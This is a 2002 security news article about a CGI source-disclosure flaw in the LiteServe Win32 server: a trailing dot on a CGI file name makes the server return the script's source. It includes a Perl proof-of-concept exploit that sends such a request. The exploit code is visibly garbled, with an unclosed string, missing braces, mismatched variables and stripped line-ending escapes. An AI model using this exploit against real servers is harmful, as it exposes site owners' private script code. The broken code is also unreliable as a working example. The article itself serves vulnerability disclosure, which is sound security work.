Users login

Create an account »


Users login

Home » Hacking News » Perception LiteServe HTTP CGI Disclosure Vulnerability

Perception LiteServe HTTP CGI Disclosure Vulnerability

by Nikola Strahija on November 15th, 2002 Christopher Fillion's "Perception" web site hosts the LiteServe combination server for Win32. The server offers HTTP, FTP, SMTP, POP3, and Telnet services. Included in the HTTP service is a Common Gateway Interface (CGI) feature that allows you to specify a CGI alias, as well as "filters" that are run when a file of a particular type is accessed.

A vulnerability in the server related to the handling of filenames on Win32
platforms may reveal the code of a desired CGI script to an attacker.
Windows handles file names with the "." character (0x2E) on the end as if
the said character had been removed. LiteServe fails to compensate for
this behavior, and is vulnerable to a simple CGI disclosure attack.

The upcoming release of LiteServe 2.03 should eliminate this vulnerability.


# By Matthew Murphy
# LiteServe 2.02 and prior - CGI Disclosure
# Usage: perl [filename] [host] [alias] [port]
use IO::Socket;
use URI::Escape;

$alias = "cgi-isapi"; # Default LiteServe CGI alias
$port = 80;
if (@ARGV < 2 || @ARGV > 4) {
print STDOUT "Usage: perl $0 [filename] [host] [alias=cgi-isapi] [port=80]
} else {
if (@ARGV >= 3) {
$alias = $ARGV[2];
if (@ARGV == 4) {
$port = $ARGV[3];
$filename = $ARGV[1];
$host = $ARGV[2];
$f = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Proto=>"tcp");
$b = sprintf("GET /%s/%s. HTTP/1.0rnrn", $alias, uri_escape($file));
print $f $b;
while (defined($line=<$f>)) {
print STDOUT $line;
undef $f;

Newsletter signup

Signup to our monthly newsletter and stay in touch with IT news!

Free E-books

We've got ebooks! But they're not online. :( Please give us a few days to bring downloads back.


Have something to say or just wanna drop us a line? Please keep this in mind: to spam, we reply with spam.

Contact us »